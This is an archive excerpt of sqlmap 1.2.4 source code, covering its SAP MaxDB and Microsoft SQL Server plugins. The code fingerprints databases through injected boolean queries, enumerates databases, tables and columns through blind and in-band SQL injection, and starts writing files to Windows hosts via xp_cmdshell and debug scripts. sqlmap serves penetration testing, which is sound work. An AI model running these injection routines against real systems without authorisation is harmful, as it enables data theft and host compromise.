���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/maxdb/enumeration.py������������������������������������������������������0000664�0000000�0000000�00000021000�13260122637�0021407�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.enums import DBMS from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.utils.brute import columnExists from lib.utils.pivotdumptable import pivotDumpTable from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) kb.data.processChar = lambda x: x.replace('_', ' ') if x else x def getPasswordHashes(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the user password hashes" logger.warn(warnMsg) return {} def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = "fetching database names" logger.info(infoMsg) rootQuery = queries[DBMS.MAXDB].dbs randStr = randomStr() query = rootQuery.inband.query retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.schemaname' % randStr], blind=True) if retVal: kb.data.cachedDbs = retVal[0].values()[0] if kb.data.cachedDbs: kb.data.cachedDbs.sort() return kb.data.cachedDbs def getTables(self, bruteForce=None): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: dbs = conf.db.split(',') else: dbs = self.getDbs() for db in filter(None, dbs): dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[DBMS.MAXDB].tables for db in dbs: randStr = randomStr() query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER') retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.tablename' % randStr], blind=True) if retVal: for table in retVal[0].values()[0]: if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables return kb.data.cachedTables def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: colList = conf.col.split(',') else: colList = [] if conf.exclude: colList = [_ for _ in colList if _ not in conf.exclude.split(',')] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} return kb.data.cachedColumns message = "do you want to use common column existence check? [y/N/q] " choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[DBMS.MAXDB].columns for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 and conf.db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: table = {} table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table continue infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) randStr = randomStr() query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER') retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.columnname' % randStr, '%s.datatype' % randStr, '%s.len' % randStr], blind=True) if retVal: table = {} columns = {} for columnname, datatype, length in zip(retVal[0]["%s.columnname" % randStr], retVal[0]["%s.datatype" % randStr], retVal[0]["%s.len" % randStr]): columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length) table[tbl] = columns kb.data.cachedColumns[conf.db] = table return kb.data.cachedColumns def getPrivileges(self, *args): warnMsg = "on SAP MaxDB it is not possible to enumerate the user privileges" logger.warn(warnMsg) return {} def search(self): warnMsg = "on SAP MaxDB search option is not available" logger.warn(warnMsg) def getHostname(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the hostname" logger.warn(warnMsg) sqlmap-1.2.4/plugins/dbms/maxdb/filesystem.py�������������������������������������������������������0000664�0000000�0000000�00000001331�13260122637�0021252�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on SAP MaxDB reading of files is not supported" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on SAP MaxDB writing of files is not supported" raise SqlmapUnsupportedFeatureException(errMsg) �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/maxdb/fingerprint.py������������������������������������������������������0000664�0000000�0000000�00000007243�13260122637�0021425�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import MAXDB_ALIASES from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MAXDB) def _versionCheck(self): infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB logger.info(infoMsg) query = agent.prefixQuery("/* NoValue */") query = agent.suffixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if not result: warnMsg = "unable to perform %s version check" % DBMS.MAXDB logger.warn(warnMsg) return None minor, major = None, None for version in (6, 7): result = inject.checkBooleanExpression("%d=(SELECT MAJORVERSION FROM SYSINFO.VERSION)" % version) if result: major = version for version in xrange(0, 10): result = inject.checkBooleanExpression("%d=(SELECT MINORVERSION FROM SYSINFO.VERSION)" % version) if result: minor = version if major and minor: return "%s.%s" % (major, minor) else: return None def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp blank = " " * 15 value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.MAXDB return value actVer = Format.getDbms() + " (%s)" % self._versionCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: value += "\n%sbanner parsing fingerprint: -" % blank htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(MAXDB_ALIASES): setDbms(DBMS.MAXDB) self.getBanner() return True infoMsg = "testing %s" % DBMS.MAXDB logger.info(infoMsg) result = inject.checkBooleanExpression("ALPHA(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MAXDB logger.info(infoMsg) result = inject.checkBooleanExpression("MAPCHAR(NULL,1,DEFAULTMAP) IS NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB logger.warn(warnMsg) return False setDbms(DBMS.MAXDB) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB logger.warn(warnMsg) return False def forceDbmsEnum(self): if conf.db: conf.db = conf.db.upper() else: conf.db = "USER" if conf.tbl: conf.tbl = conf.tbl.upper() �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/maxdb/syntax.py�����������������������������������������������������������0000664�0000000�0000000�00000000764�13260122637�0020425�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") "SELECT 'abcdefgh' FROM foobar" """ return expression ������������sqlmap-1.2.4/plugins/dbms/maxdb/takeover.py���������������������������������������������������������0000664�0000000�0000000�00000002026�13260122637�0020710�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on SAP MaxDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on SAP MaxDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on SAP MaxDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on SAP MaxDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/mssqlserver/��������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0020011�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/mssqlserver/__init__.py���������������������������������������������������0000664�0000000�0000000�00000002065�13260122637�0022125�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import MSSQL_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.mssqlserver.enumeration import Enumeration from plugins.dbms.mssqlserver.filesystem import Filesystem from plugins.dbms.mssqlserver.fingerprint import Fingerprint from plugins.dbms.mssqlserver.syntax import Syntax from plugins.dbms.mssqlserver.takeover import Takeover from plugins.generic.misc import Miscellaneous class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Microsoft SQL Server methods """ def __init__(self): self.excludeDbsList = MSSQL_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.MSSQL] = Syntax.escape ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/mssqlserver/connector.py��������������������������������������������������0000664�0000000�0000000�00000004644�13260122637�0022365�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: import _mssql import pymssql except: pass import logging from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pymssql.sourceforge.net/ User guide: http://pymssql.sourceforge.net/examples_pymssql.php API: http://pymssql.sourceforge.net/ref_pymssql.php Debian package: python-pymssql License: LGPL Possible connectors: http://wiki.python.org/moin/SQL%20Server Important note: pymssql library on your system MUST be version 1.0.2 to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) except (pymssql.Error, _mssql.MssqlDatabaseException), msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except (pymssql.Error, _mssql.MssqlDatabaseException), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) return None def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) except pymssql.InternalError, msg: raise SqlmapConnectionException(msg) return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() try: self.connector.commit() except pymssql.OperationalError: pass return retVal ��������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/mssqlserver/enumeration.py������������������������������������������������0000664�0000000�0000000�00000042772�13260122637�0022725�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeStringFormat from lib.core.common import singleTimeLogMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CURRENT_DB from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getPrivileges(self, *args): warnMsg = "on Microsoft SQL Server it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" logger.warn(warnMsg) users = [] areAdmins = set() if conf.user: users = [conf.user] elif not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers for user in users: user = unArrayizeValue(user) if user is None: continue isDba = self.isDba(user) if isDba is True: areAdmins.add(user) kb.data.cachedUsersPrivileges[user] = None return (kb.data.cachedUsersPrivileges, areAdmins) def getTables(self): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: dbs = conf.db.split(',') else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) dbs = filter(None, dbs) infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[DBMS.MSSQL].tables if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue if conf.exclude and db in conf.exclude.split(','): infoMsg = "skipping database '%s'" % db singleTimeLogMessage(infoMsg) continue for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3): query = query.replace("%s", db) value = inject.getValue(query, blind=False, time=False) if not isNoneValue(value): break if not isNoneValue(value): value = filter(None, arrayizeValue(value)) value = [safeSQLIdentificatorNaming(unArrayizeValue(_), True) for _ in value] kb.data.cachedTables[db] = value if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue if conf.exclude and db in conf.exclude.split(','): infoMsg = "skipping database '%s'" % db singleTimeLogMessage(infoMsg) continue infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % db logger.info(infoMsg) for query in (rootQuery.blind.count, rootQuery.blind.count2, rootQuery.blind.count3): _ = query.replace("%s", db) count = inject.getValue(_, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNoneValue(count): break if not isNumPosStrValue(count): if count != 0: warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % db logger.warn(warnMsg) continue tables = [] for index in xrange(int(count)): _ = safeStringFormat((rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db), index) table = inject.getValue(_, union=False, error=False) if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) tables.append(table) if tables: kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the tables " warnMsg += "for database '%s'" % db logger.warn(warnMsg) if not kb.data.cachedTables and not conf.search: errMsg = "unable to retrieve the tables for any database" raise SqlmapNoneDataException(errMsg) else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables return kb.data.cachedTables def searchTable(self): foundTbls = {} tblList = conf.tbl.split(',') rootQuery = queries[DBMS.MSSQL].search_table tblCond = rootQuery.inband.condition tblConsider, tblCondParam = self.likeOrExact("table") if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: enumDbs = conf.db.split(',') elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: db = safeSQLIdentificatorNaming(db) foundTbls[db] = [] for tbl in tblList: tbl = safeSQLIdentificatorNaming(tbl, True) infoMsg = "searching table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue if conf.exclude and db in conf.exclude.split(','): infoMsg = "skipping database '%s'" % db singleTimeLogMessage(infoMsg) continue if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query.replace("%s", db) query += tblQuery values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): if isinstance(values, basestring): values = [values] for foundTbl in values: if foundTbl is None: continue foundTbls[db].append(foundTbl) else: infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count query = query.replace("%s", db) query += " AND %s" % tblQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no table" if tblConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query.replace("%s", db) query += " AND %s" % tblQuery query = agent.limitQuery(index, query, tblCond) tbl = inject.getValue(query, union=False, error=False) kb.hintValue = tbl foundTbls[db].append(tbl) for db, tbls in foundTbls.items(): if len(tbls) == 0: foundTbls.pop(db) if not foundTbls: warnMsg = "no databases contain any of the provided tables" logger.warn(warnMsg) return conf.dumper.dbTables(foundTbls) self.dumpFoundTables(foundTbls) def searchColumn(self): rootQuery = queries[DBMS.MSSQL].search_column foundCols = {} dbs = {} whereTblsQuery = "" infoMsgTbl = "" infoMsgDb = "" colList = conf.col.split(',') if conf.exclude: colList = [_ for _ in colList if _ not in conf.exclude.split(',')] origTbl = conf.tbl origDb = conf.db colCond = rootQuery.inband.condition tblCond = rootQuery.inband.condition2 colConsider, colCondParam = self.likeOrExact("column") if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: enumDbs = conf.db.split(',') elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: db = safeSQLIdentificatorNaming(db) dbs[db] = {} for column in colList: column = safeSQLIdentificatorNaming(column) conf.db = origDb conf.tbl = origTbl infoMsg = "searching column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) foundCols[column] = {} if conf.tbl: _ = conf.tbl.split(',') whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _)) if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: _ = conf.db.split(',') infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: infoMsgDb = " not in system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) else: infoMsgDb = " across all databases" logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) for db in filter(None, dbs.keys()): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: continue if conf.exclude and db in conf.exclude.split(','): continue if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query += whereTblsQuery.replace("[DB]", db) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): if isinstance(values, basestring): values = [values] for foundTbl in values: foundTbl = safeSQLIdentificatorNaming(unArrayizeValue(foundTbl), True) if foundTbl is None: continue if foundTbl not in dbs[db]: dbs[db][foundTbl] = {} if colConsider == '1': conf.db = db conf.tbl = foundTbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db] and not isNoneValue(kb.data.cachedColumns[db][foundTbl]): dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl]) kb.data.cachedColumns = {} else: dbs[db][foundTbl][column] = None if db in foundCols[column]: foundCols[column][db].append(foundTbl) else: foundCols[column][db] = [foundTbl] else: foundCols[column][db] = [] infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (column, db) logger.info("%s%s" % (infoMsg, infoMsgTbl)) query = rootQuery.blind.count query = query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query += whereTblsQuery.replace("[DB]", db) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % column warnMsg += "in database '%s'" % db logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query += whereTblsQuery.replace("[DB]", db) query = agent.limitQuery(index, query, colCond.replace("[DB]", db)) tbl = inject.getValue(query, union=False, error=False) kb.hintValue = tbl tbl = safeSQLIdentificatorNaming(tbl, True) if tbl not in dbs[db]: dbs[db][tbl] = {} if colConsider == "1": conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} else: dbs[db][tbl][column] = None foundCols[column][db].append(tbl) conf.dumper.dbColumns(foundCols, colConsider, dbs) self.dumpFoundColumn(dbs, foundCols, colConsider) ������sqlmap-1.2.4/plugins/dbms/mssqlserver/filesystem.py�������������������������������������������������0000664�0000000�0000000�00000040421�13260122637�0022550�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import ntpath import os from lib.core.common import getLimitRange from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import posixToNtSlashes from lib.core.common import randomStr from lib.core.common import readInput from lib.core.convert import base64encode from lib.core.convert import hexencode from lib.core.data import conf from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def _dataToScr(self, fileContent, chunkName): fileLines = [] fileSize = len(fileContent) lineAddr = 0x100 lineLen = 20 fileLines.append("n %s" % chunkName) fileLines.append("rcx") fileLines.append("%x" % fileSize) fileLines.append("f 0100 %x 00" % fileSize) for fileLine in xrange(0, len(fileContent), lineLen): scrString = "" for lineChar in fileContent[fileLine:fileLine + lineLen]: strLineChar = hexencode(lineChar, conf.encoding) if not scrString: scrString = "e %x %s" % (lineAddr, strLineChar) else: scrString += " %s" % strLineChar lineAddr += len(lineChar) fileLines.append(scrString) fileLines.append("w") fileLines.append("q") return fileLines def _updateDestChunk(self, fileContent, tmpPath): randScr = "tmpf%s.scr" % randomStr(lowercase=True) chunkName = randomStr(lowercase=True) fileScrLines = self._dataToScr(fileContent, chunkName) logger.debug("uploading debug script to %s\%s, please wait.." % (tmpPath, randScr)) self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr) logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, 